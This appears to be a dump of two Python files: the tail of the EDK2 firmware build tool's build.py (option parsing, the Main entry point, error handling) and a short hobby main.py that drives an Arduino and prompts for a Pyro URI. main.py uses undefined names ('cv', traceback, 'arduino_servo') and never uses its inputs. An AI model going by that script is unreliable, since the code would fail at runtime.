GuidedSecTools.txt toolsFile = os.path.join(FvDir, 'GuidedSectionTools.txt') toolsFile = open(toolsFile, 'wt') for guidedSectionTool in guidAttribs: print(' '.join(guidedSectionTool), file=toolsFile) toolsFile.close() ## Returns the full path of the tool. # def GetFullPathOfTool (self, tool): if os.path.exists(tool): return os.path.realpath(tool) else: # We need to search for the tool using the # PATH environment variable. for dirInPath in os.environ['PATH'].split(os.pathsep): foundPath = os.path.join(dirInPath, tool) if os.path.exists(foundPath): return os.path.realpath(foundPath) # If the tool was not found in the path then we just return # the input tool. return tool ## Launch the module or platform build # def Launch(self): if not self.ModuleFile: if not self.SpawnMode or self.Target not in ["", "all"]: self.SpawnMode = False self._BuildPlatform() else: self._MultiThreadBuildPlatform() self.CreateGuidedSectionToolsFile() else: self.SpawnMode = False self._BuildModule() if self.Target == 'cleanall': self.Db.Close() RemoveDirectory(os.path.dirname(GlobalData.gDatabasePath), True) def CreateAsBuiltInf(self): for Module in self.BuildModules: Module.CreateAsBuiltInf() for Module in self.HashSkipModules: Module.CreateAsBuiltInf(True) self.BuildModules = [] self.HashSkipModules = [] ## Do some clean-up works when error occurred def Relinquish(self): OldLogLevel = EdkLogger.GetLevel() EdkLogger.SetLevel(EdkLogger.ERROR) #self.DumpBuildData() Utils.Progressor.Abort() if self.SpawnMode == True: BuildTask.Abort() EdkLogger.SetLevel(OldLogLevel) def DumpBuildData(self): CacheDirectory = os.path.dirname(GlobalData.gDatabasePath) Utils.CreateDirectory(CacheDirectory) Utils.DataDump(Utils.gFileTimeStampCache, os.path.join(CacheDirectory, "gFileTimeStampCache")) Utils.DataDump(Utils.gDependencyDatabase, os.path.join(CacheDirectory, "gDependencyDatabase")) def RestoreBuildData(self): FilePath = os.path.join(os.path.dirname(GlobalData.gDatabasePath), "gFileTimeStampCache") if Utils.gFileTimeStampCache == {} and os.path.isfile(FilePath): Utils.gFileTimeStampCache = Utils.DataRestore(FilePath) if Utils.gFileTimeStampCache is None: Utils.gFileTimeStampCache = {} FilePath = os.path.join(os.path.dirname(GlobalData.gDatabasePath), "gDependencyDatabase") if Utils.gDependencyDatabase == {} and os.path.isfile(FilePath): Utils.gDependencyDatabase = Utils.DataRestore(FilePath) if Utils.gDependencyDatabase is None: Utils.gDependencyDatabase = {} def ParseDefines(DefineList=[]): DefineDict = {} if DefineList is not None: for Define in DefineList: DefineTokenList = Define.split("=", 1) if not GlobalData.gMacroNamePattern.match(DefineTokenList[0]): EdkLogger.error('build', FORMAT_INVALID, "The macro name must be in the pattern [A-Z][A-Z0-9_]*", ExtraData=DefineTokenList[0]) if len(DefineTokenList) == 1: DefineDict[DefineTokenList[0]] = "TRUE" else: DefineDict[DefineTokenList[0]] = DefineTokenList[1].strip() return DefineDict gParamCheck = [] def SingleCheckCallback(option, opt_str, value, parser): if option not in gParamCheck: setattr(parser.values, option.dest, value) gParamCheck.append(option) else: parser.error("Option %s only allows one instance in command line!" % option) def LogBuildTime(Time): if Time: TimeDurStr = '' TimeDur = time.gmtime(Time) if TimeDur.tm_yday > 1: TimeDurStr = time.strftime("%H:%M:%S", TimeDur) + ", %d day(s)" % (TimeDur.tm_yday - 1) else: TimeDurStr = time.strftime("%H:%M:%S", TimeDur) return TimeDurStr else: return None ## Parse command line options # # Using standard Python module optparse to parse command line option of this tool. # # @retval Opt A optparse.Values object containing the parsed options # @retval Args Target of build command # def MyOptionParser(): Parser = OptionParser(description=__copyright__, version=__version__, prog="build.exe", usage="%prog [options] [all|fds|genc|genmake|clean|cleanall|cleanlib|modules|libraries|run]") Parser.add_option("-a", "--arch", action="append", type="choice", choices=['IA32', 'X64', 'IPF', 'EBC', 'ARM', 'AARCH64'], dest="TargetArch", help="ARCHS is one of list: IA32, X64, IPF, ARM, AARCH64 or EBC, which overrides target.txt's TARGET_ARCH definition. To specify more archs, please repeat this option.") Parser.add_option("-p", "--platform", action="callback", type="string", dest="PlatformFile", callback=SingleCheckCallback, help="Build the platform specified by the DSC file name argument, overriding target.txt's ACTIVE_PLATFORM definition.") Parser.add_option("-m", "--module", action="callback", type="string", dest="ModuleFile", callback=SingleCheckCallback, help="Build the module specified by the INF file name argument.") Parser.add_option("-b", "--buildtarget", type="string", dest="BuildTarget", help="Using the TARGET to build the platform, overriding target.txt's TARGET definition.", action="append") Parser.add_option("-t", "--tagname", action="append", type="string", dest="ToolChain", help="Using the Tool Chain Tagname to build the platform, overriding target.txt's TOOL_CHAIN_TAG definition.") Parser.add_option("-x", "--sku-id", action="callback", type="string", dest="SkuId", callback=SingleCheckCallback, help="Using this name of SKU ID to build the platform, overriding SKUID_IDENTIFIER in DSC file.") Parser.add_option("-n", action="callback", type="int", dest="ThreadNumber", callback=SingleCheckCallback, help="Build the platform using multi-threaded compiler. The value overrides target.txt's MAX_CONCURRENT_THREAD_NUMBER. When value is set to 0, tool automatically detect number of "\ "processor threads, set value to 1 means disable multi-thread build, and set value to more than 1 means user specify the threads number to build.") Parser.add_option("-f", "--fdf", action="callback", type="string", dest="FdfFile", callback=SingleCheckCallback, help="The name of the FDF file to use, which overrides the setting in the DSC file.") Parser.add_option("-r", "--rom-image", action="append", type="string", dest="RomImage", default=[], help="The name of FD to be generated. The name must be from [FD] section in FDF file.") Parser.add_option("-i", "--fv-image", action="append", type="string", dest="FvImage", default=[], help="The name of FV to be generated. The name must be from [FV] section in FDF file.") Parser.add_option("-C", "--capsule-image", action="append", type="string", dest="CapName", default=[], help="The name of Capsule to be generated. The name must be from [Capsule] section in FDF file.") Parser.add_option("-u", "--skip-autogen", action="store_true", dest="SkipAutoGen", help="Skip AutoGen step.") Parser.add_option("-e", "--re-parse", action="store_true", dest="Reparse", help="Re-parse all meta-data files.") Parser.add_option("-c", "--case-insensitive", action="store_true", dest="CaseInsensitive", default=False, help="Don't check case of file name.") Parser.add_option("-w", "--warning-as-error", action="store_true", dest="WarningAsError", help="Treat warning in tools as error.") Parser.add_option("-j", "--log", action="store", dest="LogFile", help="Put log in specified file as well as on console.") Parser.add_option("-s", "--silent", action="store_true", type=None, dest="SilentMode", help="Make use of silent mode of (n)make.") Parser.add_option("-q", "--quiet", action="store_true", type=None, help="Disable all messages except FATAL ERRORS.") Parser.add_option("-v", "--verbose", action="store_true", type=None, help="Turn on verbose output with informational messages printed, "\ "including library instances selected, final dependency expression, "\ "and warning messages, etc.") Parser.add_option("-d", "--debug", action="store", type="int", help="Enable debug messages at specified level.") Parser.add_option("-D", "--define", action="append", type="string", dest="Macros", help="Macro: \"Name [= Value]\".") Parser.add_option("-y", "--report-file", action="store", dest="ReportFile", help="Create/overwrite the report to the specified filename.") Parser.add_option("-Y", "--report-type", action="append", type="choice", choices=['PCD', 'LIBRARY', 'FLASH', 'DEPEX', 'BUILD_FLAGS', 'FIXED_ADDRESS', 'HASH', 'EXECUTION_ORDER'], dest="ReportType", default=[], help="Flags that control the type of build report to generate. Must be one of: [PCD, LIBRARY, FLASH, DEPEX, BUILD_FLAGS, FIXED_ADDRESS, HASH, EXECUTION_ORDER]. "\ "To specify more than one flag, repeat this option on the command line and the default flag set is [PCD, LIBRARY, FLASH, DEPEX, HASH, BUILD_FLAGS, FIXED_ADDRESS]") Parser.add_option("-F", "--flag", action="store", type="string", dest="Flag", help="Specify the specific option to parse EDK UNI file. Must be one of: [-c, -s]. -c is for EDK framework UNI file, and -s is for EDK UEFI UNI file. "\ "This option can also be specified by setting *_*_*_BUILD_FLAGS in [BuildOptions] section of platform DSC. If they are both specified, this value "\ "will override the setting in [BuildOptions] section of platform DSC.") Parser.add_option("-N", "--no-cache", action="store_true", dest="DisableCache", default=False, help="Disable build cache mechanism") Parser.add_option("--conf", action="store", type="string", dest="ConfDirectory", help="Specify the customized Conf directory.") Parser.add_option("--check-usage", action="store_true", dest="CheckUsage", default=False, help="Check usage content of entries listed in INF file.") Parser.add_option("--ignore-sources", action="store_true", dest="IgnoreSources", default=False, help="Focus to a binary build and ignore all source files") Parser.add_option("--pcd", action="append", dest="OptionPcd", help="Set PCD value by command line. Format: \"PcdName=Value\" ") Parser.add_option("-l", "--cmd-len", action="store", type="int", dest="CommandLength", help="Specify the maximum line length of build command. Default is 4096.") Parser.add_option("--hash", action="store_true", dest="UseHashCache", default=False, help="Enable hash-based caching during build process.") Parser.add_option("--binary-destination", action="store", type="string", dest="BinCacheDest", help="Generate a cache of binary files in the specified directory.") Parser.add_option("--binary-source", action="store", type="string", dest="BinCacheSource", help="Consume a cache of binary files from the specified directory.") Parser.add_option("--genfds-multi-thread", action="store_true", dest="GenfdsMultiThread", default=False, help="Enable GenFds multi thread to generate ffs file.") (Opt, Args) = Parser.parse_args() return (Opt, Args) ## Tool entrance method # # This method mainly dispatch specific methods per the command line options. # If no error found, return zero value so the caller of this tool can know # if it's executed successfully or not. # # @retval 0 Tool was successful # @retval 1 Tool failed # def Main(): StartTime = time.time() # Initialize log system EdkLogger.Initialize() GlobalData.gCommand = sys.argv[1:] # # Parse the options and args # (Option, Target) = MyOptionParser() GlobalData.gOptions = Option GlobalData.gCaseInsensitive = Option.CaseInsensitive # Set log level if Option.verbose is not None: EdkLogger.SetLevel(EdkLogger.VERBOSE) elif Option.quiet is not None: EdkLogger.SetLevel(EdkLogger.QUIET) elif Option.debug is not None: EdkLogger.SetLevel(Option.debug + 1) else: EdkLogger.SetLevel(EdkLogger.INFO) if Option.LogFile is not None: EdkLogger.SetLogFile(Option.LogFile) if Option.WarningAsError == True: EdkLogger.SetWarningAsError() if platform.platform().find("Windows") >= 0: GlobalData.gIsWindows = True else: GlobalData.gIsWindows = False EdkLogger.quiet("Build environment: %s" % platform.platform()) EdkLogger.quiet(time.strftime("Build start time: %H:%M:%S, %b.%d %Y\n", time.localtime())); ReturnCode = 0 MyBuild = None BuildError = True try: if len(Target) == 0: Target = "all" elif len(Target) >= 2: EdkLogger.error("build", OPTION_NOT_SUPPORTED, "More than one targets are not supported.", ExtraData="Please select one of: %s" % (' '.join(gSupportedTarget))) else: Target = Target[0].lower() if Target not in gSupportedTarget: EdkLogger.error("build", OPTION_NOT_SUPPORTED, "Not supported target [%s]." % Target, ExtraData="Please select one of: %s" % (' '.join(gSupportedTarget))) # # Check environment variable: EDK_TOOLS_PATH, WORKSPACE, PATH # CheckEnvVariable() GlobalData.gCommandLineDefines.update(ParseDefines(Option.Macros)) Workspace = os.getenv("WORKSPACE") # # Get files real name in workspace dir # GlobalData.gAllFiles = Utils.DirCache(Workspace) WorkingDirectory = os.getcwd() if not Option.ModuleFile: FileList = glob.glob(os.path.normpath(os.path.join(WorkingDirectory, '*.inf'))) FileNum = len(FileList) if FileNum >= 2: EdkLogger.error("build", OPTION_NOT_SUPPORTED, "There are %d INF files in %s." % (FileNum, WorkingDirectory), ExtraData="Please use '-m <INF_FILE_PATH>' switch to choose one.") elif FileNum == 1: Option.ModuleFile = NormFile(FileList[0], Workspace) if Option.ModuleFile: if os.path.isabs (Option.ModuleFile): if os.path.normcase (os.path.normpath(Option.ModuleFile)).find (Workspace) == 0: Option.ModuleFile = NormFile(os.path.normpath(Option.ModuleFile), Workspace) Option.ModuleFile = PathClass(Option.ModuleFile, Workspace) ErrorCode, ErrorInfo = Option.ModuleFile.Validate(".inf", False) if ErrorCode != 0: EdkLogger.error("build", ErrorCode, ExtraData=ErrorInfo) if Option.PlatformFile is not None: if os.path.isabs (Option.PlatformFile): if os.path.normcase (os.path.normpath(Option.PlatformFile)).find (Workspace) == 0: Option.PlatformFile = NormFile(os.path.normpath(Option.PlatformFile), Workspace) Option.PlatformFile = PathClass(Option.PlatformFile, Workspace) if Option.FdfFile is not None: if os.path.isabs (Option.FdfFile): if os.path.normcase (os.path.normpath(Option.FdfFile)).find (Workspace) == 0: Option.FdfFile = NormFile(os.path.normpath(Option.FdfFile), Workspace) Option.FdfFile = PathClass(Option.FdfFile, Workspace) ErrorCode, ErrorInfo = Option.FdfFile.Validate(".fdf", False) if ErrorCode != 0: EdkLogger.error("build", ErrorCode, ExtraData=ErrorInfo) if Option.Flag is not None and Option.Flag not in ['-c', '-s']: EdkLogger.error("build", OPTION_VALUE_INVALID, "UNI flag must be one of -c or -s") MyBuild = Build(Target, Workspace, Option) GlobalData.gCommandLineDefines['ARCH'] = ' '.join(MyBuild.ArchList) if not (MyBuild.LaunchPrebuildFlag and os.path.exists(MyBuild.PlatformBuildPath)): MyBuild.Launch() # Drop temp tables to avoid database locked. for TmpTableName in TmpTableDict: SqlCommand = """drop table IF EXISTS %s""" % TmpTableName TmpTableDict[TmpTableName].execute(SqlCommand) #MyBuild.DumpBuildData() # # All job done, no error found and no exception raised # BuildError = False except FatalError as X: if MyBuild is not None: # for multi-thread build exits safely MyBuild.Relinquish() if Option is not None and Option.debug is not None: EdkLogger.quiet("(Python %s on %s) " % (platform.python_version(), sys.platform) + traceback.format_exc()) ReturnCode = X.args[0] except Warning as X: # error from Fdf parser if MyBuild is not None: # for multi-thread build exits safely MyBuild.Relinquish() if Option is not None and Option.debug is not None: EdkLogger.quiet("(Python %s on %s) " % (platform.python_version(), sys.platform) + traceback.format_exc()) else: EdkLogger.error(X.ToolName, FORMAT_INVALID, File=X.FileName, Line=X.LineNumber, ExtraData=X.Message, RaiseError=False) ReturnCode = FORMAT_INVALID except KeyboardInterrupt: ReturnCode = ABORT_ERROR if Option is not None and Option.debug is not None: EdkLogger.quiet("(Python %s on %s) " % (platform.python_version(), sys.platform) + traceback.format_exc()) except: if MyBuild is not None: # for multi-thread build exits safely MyBuild.Relinquish() # try to get the meta-file from the object causing exception Tb = sys.exc_info()[-1] MetaFile = GlobalData.gProcessingFile while Tb is not None: if 'self' in Tb.tb_frame.f_locals and hasattr(Tb.tb_frame.f_locals['self'], 'MetaFile'): MetaFile = Tb.tb_frame.f_locals['self'].MetaFile Tb = Tb.tb_next EdkLogger.error( "\nbuild", CODE_ERROR, "Unknown fatal error when processing [%s]" % MetaFile, ExtraData="\n(Please send email to edk2-devel@lists.01.org for help, attaching following call stack trace!)\n", RaiseError=False ) EdkLogger.quiet("(Python %s on %s) " % (platform.python_version(), sys.platform) + traceback.format_exc()) ReturnCode = CODE_ERROR finally: Utils.Progressor.Abort() Utils.ClearDuplicatedInf() if ReturnCode == 0: try: MyBuild.LaunchPostbuild() Conclusion = "Done" except: Conclusion = "Failed" elif ReturnCode == ABORT_ERROR: Conclusion = "Aborted" else: Conclusion = "Failed" FinishTime = time.time() BuildDuration = time.gmtime(int(round(FinishTime - StartTime))) BuildDurationStr = "" if BuildDuration.tm_yday > 1: BuildDurationStr = time.strftime("%H:%M:%S", BuildDuration) + ", %d day(s)" % (BuildDuration.tm_yday - 1) else: BuildDurationStr = time.strftime("%H:%M:%S", BuildDuration) if MyBuild is not None: if not BuildError: MyBuild.BuildReport.GenerateReport(BuildDurationStr, LogBuildTime(MyBuild.AutoGenTime), LogBuildTime(MyBuild.MakeTime), LogBuildTime(MyBuild.GenFdsTime)) MyBuild.Db.Close() EdkLogger.SetLevel(EdkLogger.QUIET) EdkLogger.quiet("\n- %s -" % Conclusion) EdkLogger.quiet(time.strftime("Build end time: %H:%M:%S, %b.%d %Y", time.localtime())) EdkLogger.quiet("Build total time: %s\n" % BuildDurationStr) return ReturnCode if __name__ == '__main__': r = Main() ## 0-127 is a safe return range, and 1 is a standard default error if r < 0 or r > 127: r = 1 sys.exit(r)
main.py
import connectArduino import cv2 import Pyro4 arduino = None try: # Thread(target = speech.run).start() # speech.run() arduino = connectArduino.connect() while True: key = cv.waitKey(1) & 0xFF #PYRO:obj_dbc143cf36bf43f186bf0f881f06e17e@localhost:61773 uri = input("What is the Pyro URI of the greeting object?").strip() name = input("What is the name?") # Capture frame-by-frame connectArduino.sendCommand(arduino, key) connectArduino.disconnect(arduino) except Exception: traceback.print_exc() print("closing connection") if arduino: arduino_servo.disconnect(arduino)